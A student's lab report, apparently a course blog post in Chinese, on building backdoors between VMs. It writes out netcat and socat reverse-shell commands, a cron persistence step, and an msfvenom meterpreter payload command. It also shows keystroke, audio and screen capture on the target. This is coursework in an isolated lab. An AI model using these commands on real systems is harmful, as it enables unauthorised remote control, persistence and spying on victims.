2017-2018-2 20155225《网络对抗技术》实验二 后门原理与实践

2017-2018-2 20155225《网络对抗技术》实验二 后门原理与实践

实验内容

1、使用netcat获取主机操作Shell,cron启动

linux作为攻击方,window7作靶机。

  1. ping通

我使用的NAT连接,在查询IP地址时遇到问题,解决方法见“遇到的问题1”

win7IP地址如下:
image
linuxIP地址如下:
image
linux ping win7:
image
win7 ping linux:
image

  1. 攻击方打开8888端口,开始监听。
nc -l -p 8888 //-l:设置监听模式,-p:端口
  1. 靶机运行nc,绑定shell,主动连接攻击方。
ncat.exe -e cmd.exe 192.168.226.129 8888 //-e filename:连接后执行该文件。
  1. linux成功获得win7 shell
    image

  2. cron启动

cron是linux下的定时执行工具。crontab是使用cron的命令,该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。

win7开启监听,将linux反向连接的指令写入crontab中即可。
crontab指令写法:

基本格式 : 

*  *  *  *  *  command 

分 时 日 月 周 命令 

第1列表示分钟1~59 每分钟用*或者 */1表示 

第2列表示小时1~23(0表示0点) 

第3列表示日期1~31 

第4列表示月份1~12 

第5列标识号星期0~6(0表示星期天) 

第6列要运行的命令 
使用命令crontab –l 可以显示出当前用户cron服务的详细内容。

使用命令crontab –e 可以打开默认的编辑当前用户cron服务的编辑器

使用crontab -l编辑crontab文件,在最后加上时间和我们想要执行的命令,保存退出。到了规定时间,系统会自动执行我们设置的指令。操作如下:

image

结果如下:

image

2、使用socat获取主机操作Shell, 任务计划启动

socat是超级netcat工具,socat直接就可以用的程序。我们只需要在windows下新建一个任务来执行socat程序即可。

windows开启8888端口作为监听方,并绑定cmd.exe.在添加参数一栏填写命令参数

tcp-listen:8888 exec:cmd.exe,pty,stderr

image

linux作为攻击端去主动去连接windows:

socat - tcp:192.168.226.130:8888 //这个命令等同于nc 192.168.226.130 8888

触发该程序之后,linux立刻获取到windows的shell,如图所示。注意,并不是监听端一定是攻击方,反弹连接的也不一定就是靶机。在双方的连接过程中,谁绑定了shell,谁就暴露了shell,就会被对方获得。

image

3、使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 生成后门程序,使用这条命令直接生成一个后门程序(river.exe)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.226.130 LPORT=8888 -f exe > river.exe
  1. 手动将后门程序river.exe拷到win7
  2. 在linux上使用msfconsole指令进入msf控制台,开启监听模块,设置payload,设置反弹回连的IP和端口:192.168.226.130,8888,具体命令如下图:

(msf超级可爱ヾ(❀ ^ ω^)ノ゙!每次进入msf都会给我不同的界面!)

image

  1. river.exe一旦运行,win7就被linux控制了,哈哈哈哈。

image

4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

meterpreter都有哪些功能呢?可用help查看。最有趣的当然是摄像头命令了。

image

成功截获一段音频,摄像录像功能因为我的win7虚拟机没有摄像驱动,所以没有成功。

image

成功抓屏:

image

成功获得win7击键记录:

image

加分项目:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(内容见我又写的另一篇博客使用MSF生成shellcode

遇到的问题

1、NAT模式下,虚拟机无法自动获取IP地址

解决方法:在任务管理器里,手动开启Vmware DHCP 和 VMware NAT service这两个服务,如图所示。参考博客

image

2、cmd命令,如何进入某文件夹,如何查看当前目录下文件,进入D盘

cd.. 返回上一级目录

dir 查看该目录下的所有文件

d: 进入D盘

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

下载软件的时候,包装在好软件外表下!再不敢在网上下乱七八糟的软件了。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

绑定在一个指令里,你运行就中招了。

(3)Meterpreter有哪些给你映像深刻的功能?

摄像头,有意思。

(4)如何发现自己有系统有没有被安装后门?

用杀软去杀啊……我也只有这一个办法。

实验总结与体会

做完整个实验,我就想说一句话“工欲善其事必先利其器”,有msf这么牛逼的工具可以用,简直事半功倍啊!!不会写shellcode也没关系,msfvenom来帮你搞定。

原文地址:https://www.cnblogs.com/clever-universe/p/8665711.html